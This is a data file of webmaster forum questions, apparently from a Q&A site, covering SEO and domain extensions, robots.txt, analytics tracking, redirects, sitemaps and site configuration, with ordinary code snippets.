{"id":"37831","title":"WordPress page title repeated in SOME pages","text":"I have created a Wordpress site and titles were working just fine. Then, some time and plugins installed later, I noticed that in SOME pages I get the title repeated 2 times. Example of wrong page title: **Contact - NAME | NAME** Example of normal title: **Our Services | NAME** Now, if I go to General Settings and change title it will change both, no improvement. SEO by Yoast has the option to reset page titles, but that just removes all titles leaving the current URL as page title, so no good either. Here is the code I originally had: `<title><?php wp_title(''); ?><?php if(wp_title('', false)) { echo ' | '; } ?><?php bloginfo('name'); ?><\/title>` Here is the code I am using now: `<title><?php wp_title('|'); ?><\/title>` **To sum up, I think somewhere in the database there's a wp_title repeated: once using '-' as separator, another one (the current one) using '|'.** Any help will be most appreciated, thanks!"}
{"id":"56015","title":"Need help with mybb forum robots.txt file","text":"I have installed the mybb forum in subdomain of my site. The link to my site is here. but when I search Google even the pages that are disallowed are also index. What's wrong with the _robots.txt_ file? User-Agent: * Disallow: \/captcha.php Disallow: \/editpost.php Disallow: \/member.php Disallow: \/misc.php Disallow: \/modcp.php Disallow: \/moderation.php Disallow: \/newreply.php Disallow: \/newthread.php Disallow: \/online.php Disallow: \/printthread.php Disallow: \/private.php Disallow: \/ratethread.php Disallow: \/report.php Disallow: \/reputation.php Disallow: \/search.php Disallow: \/sendthread.php Disallow: \/task.php Disallow: \/usercp.php Disallow: \/usercp2.php Disallow: \/calendar.php Disallow: \/*action=emailuser* Disallow: \/*action=nextnewest* Disallow: \/*action=nextoldest* Disallow: \/*year=* Disallow: \/*action=weekview* Disallow: \/*action=nextnewest* Disallow: \/*action=nextoldest* Disallow: \/*sort=* Disallow: \/*order=* Disallow: \/*mode=* Disallow: \/*datecut=*"}
{"id":"37916","title":"Issue tracking multiple domains with Google Analytics","text":"I have 2 domains `mydomain.com` and `mydomain.net` which I'm trying to track with the same `GA` code. Here are the options I turned on: Subdomains of mydomain ON Examples: www.mydomain.com -and- apps.mydomain.com -and- store.mydomain.com Multiple top-level domains of mydomain ON Examples: mydomain.uk -and- mydomain.cn -and- mydomain.fr Which gave me the following code: _gaq.push(['_setAccount', 'UA-123456789-1']); _gaq.push(['_setDomainName', 'mydomain.com']); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview']); In this help page I read that `_setDomainName` must be changed for each domain which I did: -if you go to `mydomain.net` you get `_gaq.push(['_setDomainName', 'mydomain.net']);` -if you go to `mydomain.com` you get `_gaq.push(['_setDomainName', 'mydomain.com']);` When I generate traffic on both `mydomain.dom` and `mydomain.net` and watches `GA` push requests made with `firebug` I can see requests generated for both domains and the parameter called `utmhn` has the proper domain value (which matches that of `_setDomainName` and the browser address bar). However when I monitor the realtime statistics under `Home->Real- Time->Overview` I see `pageviews` for `mydomain.net` **BUT NOT** for `mydomain.dom` :( **What am I missing to properly track both domains?** _PS:in the help page I mentioned they talk about setting up `cross links` which I didn't do for now as my understanding is that it shouldn't be needed to get what I'm trying to do to work. Also I want to mention that I do not have any tracking code for any of these 2 domains other than the one I mentioned._"}
{"id":"44620","title":"Should I Include RSS Feed URLs in an XML Sitemap?","text":"Simple question - Should I Include the RSS Feed URLs in my site's XML Sitemap? I am NOT asking whether I should USE an RSS Feed AS an XML sitemap, but rather, should I include the URLs to the various RSS feeds on my site in my XML Sitemap? I am looking for both general advice, and\/or pointers to any relevant documentation supporting an answer to my question. Thanks in advance."}
{"id":"19567","title":"Images not being cached in Google","text":"I have a banner printing site and my site is on top position in Google, but I have one problem - the images (Banners) of my site are not cached in any search engine."}
{"id":"47597","title":"Are there some permalink typology better than others for SEO?","text":"I am pretty new in WordPress and on my blog I am using permalinks. I have seen that there are 5 topologies of permalinks and I don't know if some types are better than others for search engines for indexation. At the moment I am using this typology: example.com\/2013\/04\/22\/articolo d'esempio\/ that is composed by: the base URL of my blog, the complete date of the post and the post name. So I have the URL of posts like this: example.com\/2013\/04\/18\/2-hello-world-in-spring-mvc\/ Is this a good URL or are there some other permalink typologies that are better for search engine indexing (or for some other reasons)?"}
{"id":"32859","title":"Is it possible to do shipping like this in Magento?","text":"What I need is to have Magento charge a flat rate shipping for orders under a certain amount, and free shipping for orders over that amount. It's like having two flat rates. I have tried setting a flat rate and free shipping together but it just gives the option to the customer to chose between them via a radio button; which is not what I need."}
{"id":"59952","title":"Best compromise for low DNS TTL for failover, versus high TTL to reduce DNS lookup time","text":"We're looking at lowering our DNS A record TTL to around 1 minute, to enable us to quickly switch to a backup server should the main one fail (whether this is automatic, using AWS Health Checks etc, or manual, is largely irrelevant to this question). I'm aware this will put a significantly higher load on the DNS server, but this isn't an issue. What I'm concerned about it how the total site load time will be increased, because of the additional overhead of having to look up the DNS records with a lot more requests. How to I balance these issues? I'm obviously disregarding factors outside my control, such as ISP DNS caching."}
{"id":"29063","title":"Minimize embedded youtube video to just listed to sound","text":"Is it possible to embed a youtube video and hide video display and just show the player controls? That would be sufficient for playing songs. (I know, it would be a waste of bandwidth ;-) ...)"}
{"id":"6116","title":"Download\/submission directories are dead? Are they good for SEO?","text":"We have just released a new major software product version. In the past if you wanted visibility you would create a standardized pad file and you would submit it to hundreds of directories or you used web service that would do that for you. These directories would then serve as first incoming links to your web site. How about today? I think download directories are pretty much dead? Do you think this is still good SEO approach today? Are these software download directories useless?"}
{"id":"32855","title":".htaccess Forward all mail subdomains to \/webmail\/","text":"I would like to write a .htaccess rewrite command that takes any url with a subdomain mail and forwards them to whatever domain included that subdomain with \/webmail at the end. e.g. mail.zane.com would forward to zane.com\/webmail mail.prowebmasters.com would forward to prowebmasters.com\/webmail. In short, I have a master domain with my host with addon domains in folders on the master domain. Any time I type mail.site.com it is forwarding to the index.html of the master site. Instead of doing that I want the sites to open \/webmail\/ of the site."}
{"id":"29069","title":"PHPFox caching?","text":"I run a big phpfox website and I currently have server setup as follows: nginx (reverse proxy) --> Apache for dynamic content are there other ways to cache content with phpfox? I can't use memcache it's a shared environment."}
{"id":"24070","title":"Will google penalize my pages if I will hide by default the main page content?","text":"I've read some similar questions but the mine is about a particular case. I need to hide the \"main page content\" as default, visible on user's request using javascript. This is lot of text - about 500-1000 words for every document. The secondary page content (schematic data, lists, images) will be visible as default. That's the solution that fits the needs of my customer. Will a site made like this be penalized? EDIT: The \"main body text\" is the text that should appear in search engine's results and it contains the keywords."}
{"id":"1305","title":"Embedding Quicktime Player behaves differently on XP\/OSX\/Windows7","text":"We've got a page that embeds a `.MOV` file into a webpage. In the last 6 months it stopped working on some Macs. Then it stopped working on all macs. Then it stopped working on Windows XP. But it works fine in Windows 7. Here's what is embedded in the HTML: <embed src=\"\/Magic94Scripts\/mgrqispi94.dll?APPNAME=FileManager&PRGNAME=prjfilmview&ResID=2784&size=9\" style=\"float: left;\" height=\"600\" width=\"1030\"> This has worked perfectly for years. The QuickTime player pulls the file out of the requester, inspects the MIME type from the response headers and plays the file appropriately. A Wireshark dump from a Windows 7 looks like this:  1. The intial request for the page that has the `<embed>` tag in it 2. The QuickTime plugin requesting the MOV file through the back-end requester Performing the **exact same** actions on OSX or Windows XP wields:  The versions of quicktime and safari on all the different machines is the latest (5.0) and I assume this is something that was broken in an update, and as our clients moved to the newer version of the browser they were breaking one by one. Any ideas what might cause this? Is this a bug in Safari? Are there better ways of embedding the MOV file?"}
{"id":"23751","title":"Fetching templates via API. Who provides this service?","text":"I'm mainly a server side developer. I'm not a designer, even if I understand web layouts, grids, CSS, typography, valid markup, etc. and I'm able to do some graphic work too (almost). It just takes a lot of time and the result is not always beautiful. I know there are tons of website templates sites out there, and I'd like to use their designs as a starting point for my customers' works, giving them the possibility to choose the design they like more. I'd just prefer to show the templates catalog to customers from within my site, fetching templates info (screenshots, description, etc) from a remote server using an API. TemplateMonster.com provides, or provided, such API. But the service responds with \"Unauthorized usage\". Are there other sites offering this kind of retrieval service?"}
{"id":"23755","title":"A tool to test web fonts on a live site","text":"Are there any browser\/online tools to quickly test a live site with web fonts, like Google Web Fonts? So, as I see it, I visit any site, for example, microsoft.com and click something like Analyze element in Firebug and change that font to some from Google Web Fonts list. Is there anything like that on the web?"}
{"id":"28916","title":"How do I use the http:\/\/schema.org\/GeoShape itemtype?","text":"There are no useful examples for setting the property of this type anywhere. The GeoShape page references the rNews GeoCoordinate spec in passing and a forum post on meetup states that this spec is based on Simple GeoRSS. I have guessed that the Simple GeoRSS coordinate format is correct. Unfortunately, Google's Rich Snippet Testing Tool doesn't inspire confidence in that conclusion. This is the ideal data format for my purpose (describing a service area of 20 miles centered on the city centre) so it is really frustrating that I can't test the correctness. This is a duplicate of my question on StackOverflow."}
{"id":"1309","title":"URL paths and their effect on SEO","text":"We are developing a website where there will be two distinct types of content: galleries and photos. It makes little sense to use URL paths like \/gallery\/photo as some photos can appear in more than one gallery (and duplication of content is bad); so the current logic is to have a single depth on the site (\/photo1, \/photo2, \/photo3, \/gallery1, etc). Will this impact upon SEO as the number of single depth pages increases?, is it better for Search Engines in general to see a more RESTful interface (\/galleries\/gallery, \/photos\/photo1, etc)?, or is there a better way to handle this? P.S.: The photos will have a landing page of their own with deep textual content (as will the galleries)."}
{"id":"498","title":"Which special characters are safe to use in url?","text":"Which special characters are safe to use in url?"}
{"id":"2330","title":"Does Google penalize .me or .tv sites?","text":"If I am thinking about using one of the fancy country domains such as `.me` or `.tv` should I be worried about how Google treats such domains? Or to put it another way, if all other things are equal (good content, links etc.), will Google regard a `.tv` or `.me` as equal to a traditional `.com` or `co.uk` site?"}
{"id":"21812","title":"Rank value of domain extensions in Google","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? Is there any definitive information on how google values different domain extensions in its ranking algorithms? My assumption, all other things being equal, is .com > .net > .org > .co etc."}
{"id":"7535","title":"CO.CC domains SEO disadvantages","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? There is a free domain service http:\/\/www.co.cc . We can setup DNS settings at co.cc . But is there any SEO disadvantages for CO.CC domains?"}
{"id":"25873","title":"Do different TLDs affect your search engine ranking?","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? I have two identical domain names with different suffixes `org` and `com`. I just installed POSTFIX which has auto configured itself to the `.com` domain name but I generally use the `.org` tld based domain name as the primary (even the `.com` redirects to `.org`). Which is better to use as `myhostname` and `mydomain` are there any advantages to using one over the other?"}
{"id":"34735","title":"Does the .ending on a domain need to be relevant?","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? I see a lot of people now opting to use > myname.im or > myname.me But after doing some checking, i found that `.im` domain names are meant to be Isle of Man endings. Is this correct, and does it matter that people opt to use this domain ending if they are not even based anywhere near the Isle of Man. It is Ok to use a domain ending purely for how good it sounds is what I'm really after. Or is it bad practice to do this."}
{"id":"29725","title":"Is it disadvantageous to use a .me domain?","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? In a scenario like the following, **should I go for the .net or the .me domain?** Assumptions: * I have a relatively informal website about _eating_. * eating.com is already taken. Should I go for: 1. **eating.net** (might confuse visitors because the .com is occupied by someone else \/ a competitor) 2. **eat.me** (because it is so catchy) I have heard (just word of mouth) that Google would give less priority to .me domains, is that true? _PS: eating\/eat is just an example, but my actual sitename is (almost) as catchy._"}
{"id":"53050","title":"SEO impact of using regional TLDs like .me","text":"It is common that people use regional TLDs with a fake meaning to register a good-looking website. A famous example is `.me`, which is popularly offered by most of registrars alongside generic domains. As far as I know, search engines somehow weight the regional websites. For example, a `.ca` is supported to be targeted in Canada. I understand that search engines are adjusted to the market popularity, but I am curious, if a regional TLD such as `.me` is considered as a generic TLD when targeting globally? In general, my question is that how much `TLD` affects the SEO for global audience?"}
{"id":"34636","title":"Does using a country domain (TLD) negatively effect a site's search ranking if the site content isn't country specific?","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? I have a website in which the content is not country specific. The TLD is currently .it but the company is hosted and based in the United States. I'm wondering if a .it domain will negatively effect the site's search rankings. Is it better to use a .com TLD? For example (I don't actually own these domains), would the domain love.it have a worse ranking than loveit.com? (Assuming the content of the sites is the same) I've been searching everywhere for an answer with not much luck. Any advice would be very helpful."}
{"id":"34763","title":".com vs .me for personal and blogging sites. Which one is good regarding seo","text":"> **Possible Duplicate:** > Does Google penalize .me or .tv sites? I basically have a domain under my name with .com extension. I am planning to use it for my portfolio and also as a regular blog. Now considering SEO and ranking stuff, what is the best way to implement this. **myname.com** - _Portfolio_ || **myname.com\/blog** - _Blog page_ (or) **myname.com** - _Blog_ || **myname.me** - _Portfolio_ i have absolutely no idea on how .tld's impact SEO and Ranking, so i seek the experts advice on this. Thanks in advance."}
{"id":"67084","title":"Itunes Podcast Feed: Itunes says it can't verify the identity of the server","text":"I have created an iTunes RSS feed for my video podcast: http:\/\/designmind.info\/feeds\/itunes.xml For the first few weeks, it worked fine. But lately, iTunes has started giving this error message: iTunes can’t verify the identity of the server “www.designmind.info”. The certificate for this server is invalid. You might be connecting to a server that is pretending to be “www.designmind.info”, which could put your confidential information at risk. Would you like to connect to the server anyway? How can I fix this. It is not SSL hosting, so I am not sure why it needs a certificate."}
{"id":"35772","title":"Am I harming myself by having two domains pointing at the same thing?","text":"> **Possible Duplicate:** > SEO and multiple domains to same site I have a domain I recently purchased. I went ahead and pointed it at my website(via DNS) and by default, my server now serves my website on this new domain. Eventually, the new domain will replace my old domain(with 302 redirects and all that). However, I've not yet got my website ready for that because I'll need to do some rebranding and such. Am I actively hurting my SEO ratings and such by having these two domains point to the same thing?"}
{"id":"57072","title":"What is good traffic for a domain of a non-existing website?","text":"_For existing websites, there are already very good answershere. This question is about the ability to measure the \"strength\" of a domain **prior to the actual site being published._** I have several domains in which I haven't yet placed any content at all, eg they lead to a blank page or to the generic 404 of my hosting company. Non of them is listed on google or anywhere else. I do get some traffic statistics on these domains, including a count of unique visitors - people or bots who just typed in the domain name. Naturally, this kind of traffic varies between different domains - which seems to be a demonstration of the difference in these domains' \"strength\". for example, drive.com (which contains only an \"under construction\" page) gets more traffic than asdgfkljhvcas.com. **Is there any method for determining how much of this kind of traffic is a lot in an international-website scale?** This could be helpful for determining the quality of domains in hand."}
{"id":"13995","title":"Why don't large popular sites such as SO use keyword and description meta headers?","text":"Why don't Stack Overflow, Wikipedia or MSDN etc. include keyword and description meta tags in their page headers? For example Google indexes the first paragraph as a brief description. Is this a technical point in web design and SEO?"}
{"id":"4025","title":"What are sources of free\/cheap stock photos?","text":"Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what the terms and conditions mean? **UPDATE:** Changed the title from \"free\" to \"free\/cheap\". I need an easy to use source of photos, meaning I they OWN the rights to the photos. Some stock photo websites disclaim that the have rights to the photos. Examples: SXC.hu, Bigstock (if you know of others, please comment. See comments to answers for details. Thanks!) **IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a \"new\" contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username."}
{"id":"30936","title":"Complex Disallow pattern in robots.txt","text":"I have a URL like this: www.example.com\/freelance-jobs-new-york I had a problem and many duplicated pages have been created like this: www.example.com\/freelance-jobs-new-york-php-php www.example.com\/freelance-jobs-new-york-php-php-php www.example.com\/freelance-jobs-new-york-php-php-php-php And so on, those pages have the same content as the main one, so what I did to fix it was redirecting all the pages with more than two times php keyword in the URL to the main URL. But I have did it late, so Google has to redirect maybe more than 20.000 pages that have been already crawled. So I want to setup a Disallow in robots.txt to block it for spending resources on those urls. So my question is, what pattern should I use to disallow pages with more than two times the keyword php in the URL? Will, `Disallow: \/*php*php*` work as expected? I am asking this because I don't want to accidentally block good URLs."}
{"id":"12405","title":"SEO - Does order of html carry importance - text before images preferred over opposite?","text":"I have a two column layout with text to the left and a slideshow to the right. In order that I may float the text around the right column I would need to place the right column first with a right float. This means that I have all my images before the page text in my html. It seems apparent that the search engine rank of a page for keywords is determined, at least mainly, by the text content of the page. Would the described order of html hurt my ranking? I guess a bonus question would be how to float around a right column, see reddit for an example, though I think I should ask this on another stackexchange site."}
{"id":"57401","title":"Firing an event on a particular page in Google Tag Manager","text":"In Google Tag Manager I'd like to fire an event when a particular page is seen. This is for a completed signup page - a conversion. In Google Tag Manager I have my base UA tag fire on all pages. I then created a new UA tag \"Subscriptions\" to track events: track type events. I then filled in my category, action and label values for the event. However, it's the rules that seem to be tricky. When I went through the signup process in order to see the conversion page, here is all the info from Google Analytics debug in the JavaScript console: Account ID : UA-xxxxxx-2 Page Title : Example Company | Your Account has been created | Premium Host Name : secure.example.com Page : \/secure\/common\/callback?` https:\/\/secure.example.com\/secure\/common\/callback?id=2c92a0fb41ee0b8c0142062c06fd6c89&tenantId=3415×tamp=1390480077277&token=WByfk6aU4JX1EJSchx4XDMnp50XX8aL7&responseSignature=OTg2OWY4MTcwMDVmZmRiYzI3NWI2N2IxOWJmNTYxNGI=&success=true&refId=2c92a0fb43bdc33a0143bf122e6d3ebb&field_passthrough1=:Unmyname@gmail.com:Emmyname@gmail.com&field_passthrough2=P&field_passthrough5=%3Alnen%3ANmmeFirstNAme%20meLastName%3AA1123%20mainst%20Avenue%3AA2%3ACtPhiladelphia%3AStON%3APcM6G%202T8%3ACn&field_passthrough3=3a5e49b5-85ed-4c86-99af-761004f7db06&field_passthrough4=true&signature=OWM1NjY5MGZkMWVjNjI5NjJiYjk3MmVhOWU3ZjkzNjA= I'd like to fire the \"Subscriptions\" event track tag. I tried the following rule but had no success: `{{url}}` contains: `\/secure\/common\/callback?`. `{{url path}}` contains: `\/secure\/common\/callback?`. My questions therefore are: 1. How would I fire the submissions event when this page is visited? 2. Why is the event not firing now - isn't the logic sound? If the URL contains `\/secure\/common\/callback?` then it should fire, right? "}
{"id":"50820","title":"One million redirects","text":"What's the best way to redirect 1,000,000 unique URLs to another 1,000,000 unique URLs? These pages are all combinations of multiple search filters and queries. We're migrating the site to cleaner URLs and want to map old pages to new ones so that we do not lose visitors or send them to 404s. I believe a million line _.htaccess_ will slow down the site pretty significantly. Is there a better way that would maintain PageRank but not slow down the site? Maybe something I could put on each page individually?"}
{"id":"31511","title":"Why does Google Analytics show false referrals?","text":"Ever since Google revamped their Analytics interface I've been noticing a weird \"bug\" while viewing the \"Real-Time\" overview area. From this area I can obviously see live stats of visitors to my website but when I visit my website by opening a new tab (Chrome) and manually visit website the real time stats sometimes look like the image linked below. http:\/\/i.stack.imgur.com\/mfniY.png Is there any reason why Google is saying that I was referred by Stack Overflow when I'm visiting my website from a new tab? Could this be something do to with how I installed the analytics on my site or could this be an issue with browser cookies? Have anyone else noticed this? I am mainly concerned about this because in the standard reporting area of my Analytics panel my referral stats are getting thrown off every time I visit my own website."}
{"id":"35015","title":"How to progressively display images on websites","text":"I want to display images on my websites just like Facebook and other websites display images now - progressively i.e a complete blurred image first and then the whole sharp images loads. I am not sure about the technical term here but they seem to be pre-fetching a lossy version of images and then download the rest of data. How can I achieve this?"}
{"id":"7757","title":"Using photoshop actions to decide if an image needs to be rotated","text":"I have Photoshop CS3 and I need to do a batch on a lot of pictures before I upload them. The pictures need to fit in an 600x800 box, yet be as big as possible within that box. Some of them are much wider than taller and others are more tall than wide. I am trying to put together a photoshop action that will rotate, resize, and fill pictures as needed to make them as big as possible while staying within the 600x800 box. The only thing I haven't gotten sorted out is how to tell photoshop to rotate the image 90 degrees if that will allow the picture to be bigger within the constraints. Any ideas?"}
{"id":"7756","title":"Most standard \/ Best way to keep the same top menu among different web pages?","text":"What's the standard way to keep the same menu on top among different web pages without having to duplicate it on each page (I don't mean that it doesn't reload like when using frames and only loading the bottom part; I want the menu to scroll with the page when scrolling down, like this, this, this and pretty much every single web page that exists). I found this answer but the guy can't use Php and I can. Plus, I see several people giving different suggestions, but I assume there is a standard since pretty much every single web page in the whole web have a menu on top that stays the same among multiple pages . I'm just a newbie on web design (I can program Php and Html easily but I have no idea about standards and stuff like that since I'm self- taught guy ;)). What I would normally do is to include the menu with php but I'm not sure if this is the \"standard\"."}
{"id":"57403","title":"How to solve duplicate contents over different domains?","text":"I'm trying to create a big main site and many sister sites. They all will be hosted in a same server, but will be multiple domains. When a sister site posts an article, it is submitted to the main site. For example, if the sister site posts an article `sistersite.com\/article\/seo- optimization`, the main site will have immediately a new article page `mainsite.com\/article\/seo-optimization`. This can definitely lead duplicate contents across different domains. I have known that the search engines don't like the duplicate contents. The main site may have SEO penalties because of those duplicate contents. I want the main site winning over the sister sites in terms of SERP ranking. I'm thinking the following options: 1. Adding `noindex, follow` for the sister sites 2. Adding a canonical URL `mainsite.com\/article\/seo-optimization` in that page of the sister site. 3. Updating the content by a moderator for the main site before publishing once it receives a new article. All of these have some pitfalls: 1. May all of the sister sites not be listed in SERP because of `noindex`? I want them listed somehow in SERP. 2. Is it really a valid canonical URL if it is referring to another domain? In fact, I don't want the main site URL included in the source code of the sister sites. 3. It will have work-overloads for the moderator because there may be many articles submtting a day. And how does Google decide what are duplicate contents? For example, 80% of the contents is same, 90% of the contents is same, etc. What would be a best solution to solve duplicate contents over different domains?"}
{"id":"31518","title":"Will rewriting your .htaccess to 404 to return search results from your site negatively effect your ranking in Google?","text":"Depending on the type of site that you are running, it may or may not be advantageous to display search results instead of a 404 page, when someone visits a non-existent page on your site. I believe that the site I've been maintaining recently would benefit from this as it is the site of a publication. With a publication the more people you can get to read your site the better. But after reading up on how Google ranks the \"quality\" of your site, where you will appear in SERPs, based on how much the meta text of a page relates to the content of the page, I have to wonder if making a 404 page link to the search results would harm the \"quality\" of your site in Google eyes."}
{"id":"19465","title":"Sitemap file entries for blog and main php site","text":"I'm creating a sitemap manually. It's a PHP site with a WordPress blog. Here's the main site: http:\/\/wordfruit.com And here's the blog: http:\/\/blog.wordfruit.com 1. Can I put the blog URL in the same Sitemap file as the main site urls? 2. And can I just place the feedburner URL in the Sitemap instead of all the blog urls? -- this URL: http:\/\/feeds.feedburner.com\/wordfruit 3. And if I place the feedburner url in the Sitemap file, will all new blog posts be taken care of without making any changes to the Sitemap? Thanks,"}
{"id":"19467","title":"How to find out the url of a popup?","text":"I'm creating a Sitemap by hand. I want to add in the url of a popup -- I presume it has a url. At the top of this page: http:\/\/wordfruit.com -- there's a yellow-highlighted link with the text 'How does it work?' Is there a url of that popup? How do I determine what that url is?"}
{"id":"19461","title":"Google Adsense Impressions Not Matching With Analytics","text":"I'm using woopra and google analytics on one site. Both are reporting 100 unique visits to one site. Browsers - 70% Firefox, 10% chrome, 15% IE and remaining are others. My adsense stats are showing only 20-30 visits for this website. Even though analytics and other stat programs are showing more visits, adsense counting only 20 or so impressions out of it. What seems to be the problem here ?"}
{"id":"3930","title":"Google Places like services","text":"Registering with Google Places seems to give a free good quality link for a website for a local business. Are their similar other other free local listings for which every local business should be listed?"}
{"id":"19463","title":"Code for sitemap -- 'weekly.?","text":"I'm creating a Sitemap manually. If I want to specify a url to be crawled weekly, is this the right code: <url> <loc>http:\/\/wordfruit.com\/<\/loc> <changefreq>weekly<\/changefreq> <\/url>"}
{"id":"31048","title":"Importance of frequency of keywords for SEO","text":"> **Possible Duplicate:** > keyword stuffing in SEO I've seen a few posts on here and elsewhere that talk about the amount of unique keywords used, or aimed, for in a text. But how important is the frequency of keywords for SEO optimized copy, the higher the better? Is there a certain percentage to aim at? For example, I currently have copy aimed for a specific keyword. The rate of this keyword is that it makes up 2% of all words. Is this too low? Too high? The higher the better?"}
{"id":"8332","title":"Are there any security considerations if users are allowed to upload flash files","text":"Lets say I have a website where users are allowed to upload files which will be displayed publicly as a portfolio gallery. For example, users might upload screenshots of a website they designed, or a MS Word document of some PR example text, or a PDF of their CV, etc. Some files will be blacklisted for security reasons, e.g. `.zip` files, `.exe` files and `.php` files. What about flash files? Is there any security concerns if I was going to host `.swf` files and automatically play them? <?php if ($extension == 'swf') { echo '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=7,0,19,0\" width=\"640\" height=\"430\"> <param name=\"movie\" value=\"\/'.$urlToFLV.'\" \/> <param name=\"quality\" value=\"high\" \/> <param name=\"wmode\" value=\"transparent\"> <embed wmode=\"transparent\" src=\"\/'.$urlToFLV.'\" quality=\"high\" pluginspage=\"http:\/\/www.macromedia.com\/go\/getflashplayer\" type=\"application\/x-shockwave-flash\" width=\"400\" height=\"430\"><\/embed> <\/object>'; } ?> I guess the flash code is executed in the users browser, so if there was a security issue, it would be on their machines, not our server?"}
{"id":"35813","title":"Googlebot can't access my site when crawling from rootdomain","text":"I can't explain why I get this message for my rootdomain result in Google : > trocmalin.com\/ > > A description for this result is not available because of this site's > robots.txt – learn more. Here is my site specifics : * vide-greniers.trocmalin.com is the site address * www.trocmalin.com redirects (301) to vide-greniers.trocmalin.com * trocmalin.com redirects (301) to vide-greniers.trocmalin.com too... User-agent: * Disallow: \/orga\/ User-agent: * Disallow: \/sitemap-update Google results for vide-greniers.trocmalin.com are well rendered, as well as sub pages allowed for bots. But the result for my rootdomain (trocmalin.com) gives this message... Can you help me ?"}
{"id":"61724","title":"Odd\/faulty page links being served to Googlebot","text":"Yahoo recently bought Tumblr, where I write fairly long form scientific pieces. I noticed recently that a new script had been added to the end of pages, and it seems to be interacting badly with the Google search bots. A hit today came to `\/post\/:id\/:summary` where this is clearly just some sort of site scheme. It came from a page on _What is a gene, post-ENCODE?_ and when I searched for this title specifically for my site I also pulled up a second seemingly identical hit at \/page\/:page Searching for `site:<siteURL>\/:page` comes up blank, presumably due to the punctuation but `site:<siteURL>\/post\/:id\/:summary` confirms that it is just for this one article page. I went to use the 'remove URL' page on Google Webmaster Tools but it says the page is still live, i.e. it's either seeing my article or my entire homepage (when you go `\/post\/:id\/:summary` you actually just get the root URL, and I don't want to remove that from Google!), advising I get the content removed before requesting it be cleared from their cache. I can't see how this site scheme is being generated (at least \/sitemap1.xml doesn't give it like that anyway), but searching for `\"\/post\/:id\/:summary\"` brought up code similar to what Yahoo are adding to sites: (function() { var s = document.createElement('script'); var el = document.getElementsByTagName('script')[0]; s.src = ('https:' == document.location.protocol ? 'https:\/\/s' : 'http:\/\/l') + '.yimg.com\/ss\/rapid-3.14.js'; s.onload = function(){ var YAHOO = window.YAHOO; if (YAHOO) { YAHOO.i13n.beacon_server = 'nol.yahoo.com'; var keys = { pd:'\/post\/:id\/:summary', _li:0, i_rad:0, i_strm:0, b_id:66209497 }; var conf = { spaceid:1197719230, client_only:1, yql_enabled:false, keys:keys } YAHOO.rapid = new YAHOO.i13n.Rapid(conf); } } el.parentNode.insertBefore(s, el); })(); It's pretty hard to see what this is doing, and all I'm wondering is whether 1. I've done something wrong in my page Javascript that is interfering with these variables in some way 2. How might I fix it? 3. Should I maybe contact some part of Google or Yahoo? If so where would I even start? I was going to put this on SO thinking it was a Javascript issue but assuming **1.** isn't the case I'll leave it here unless anyone here suggests otherwise. Likewise if this isn't suitable for a \"pro webmasters\" forum (it's a personal\/professional development blog albeit using a custom domain)."}
{"id":"9906","title":"Are there any stats for local Google v. Google.com usage?","text":"Are there any stats for web usage which have attempted to measure how many users in a given country use Google. **com** and how many use the local Google (e.g. Google. **co.uk** )?"}
{"id":"9907","title":"In a URI, what does the suffix \".do\" stand for?","text":"I see URI ending in \".do\" on some enterprise websites. I've always been curious to know what that stands for, but my Google searches have so far not turned up an answer. Here is an example from ATT customer portal: https:\/\/www.att.com\/view\/displayFullBill.do What does the \".do\" mean?"}
{"id":"56432","title":"Is using divs instead of new HTML5 tags considered a bad practice?","text":"I've found a website that uses `divs` with classes that are names of new `HTML5` elements. At first it looked really ugly and silly, but then I gave it a secound thought and after all it's kind of smart and doesn't require older browsers to download `html5shiv.js` (which is IMHO quite important as IE6-IE8 machines are often older\/slower pcs on slow networks). For example: Supports all browsers: <div class=\"section\"> some content <\/div> Doesn't support IE6, IE7, IE8: <section> some content <\/section> I've checked Twitter and Facebook and they're doing similar thing too, do you think it's worth sticking to the first (`div`) style of coding and wait IE8 to drop way below 1% or I'm overreacting and a few kilobytes won't change that much?"}
{"id":"9909","title":"Will Google preserve URL parameters when indexing my site if the explicit in the site and\/or site map","text":"I have written some functionality that opens tabbed content on page when visiting a page via a URL with certain parameters. What i have been asked is that will Google, or any other search engine, preserve these URL parameters once my site has been indexed? Therefore when a user that receives said URL as a result visits the site the functionality will be preserved."}
{"id":"24464","title":"Is \"no-index\" necessary with extensive, white-labeled syndication?","text":"For the purposes of this discussion, consider the following scenario: You have written a fair amount of quality, unpublished content that third- party websites wish to license from you and white-label on their own sites (i.e. you are ghostwriting for these third parties). In other words, there will be no attribution or links referring to your name, email address, or website at all; it will appear to readers and search engines as if the article were written by the third party instead of by you. Consider that 10,000 of these third-party sites were created independently, without any association to each other (they are absolutely NOT part of a blog farm network). From your collection of 100 articles, you plan to license the white-label publishing right of each article to 100 of these sites (again, on a per-article basis). So, while each of your 100 articles will be published 100 times, it's fair to assume that no site will host all 100 articles. The most any one site will host is 30 articles. **Now for the question** : Given this scenario, and that your intent is not to game search engines at all (but rather to provide quality content on established websites), do you need to include \"no-index\" meta tags on the pages that display your content? Clearly, you wouldn't want your customers to receive the wrath of the Google Duplicate Content Penalty. However, at the same time, if they can benefit from any Google juice deriving from your content, then that would be a nice benefit. I suppose a more concise question may be, \"Would this behavior cause Google to penalize the third-party websites? Or, would Google simply choose one of the sites as hosting the \"best\" version of the content on a per-article basis?\""}
{"id":"24460","title":"How can I buy my own personalized Top Level Domain (TLD)?","text":"Starting fomm tomorrow January\/12\/2012 I heard it's possible to apply for your own TLD i.e. `.whatever` in place of `.com` `.org` etc. I thought it would require a huge amount of money (I heard stories about paying $185K for one) but I found this company who seems to register a new TLD for just $1000. Here is where they show the price: > The price to register a TLD including the unlimited number of domains that > belong to it is: $1000.- only. Do you think this is a scam or for real? Do you know about any other places where I can go to apply for personalized TLD?"}
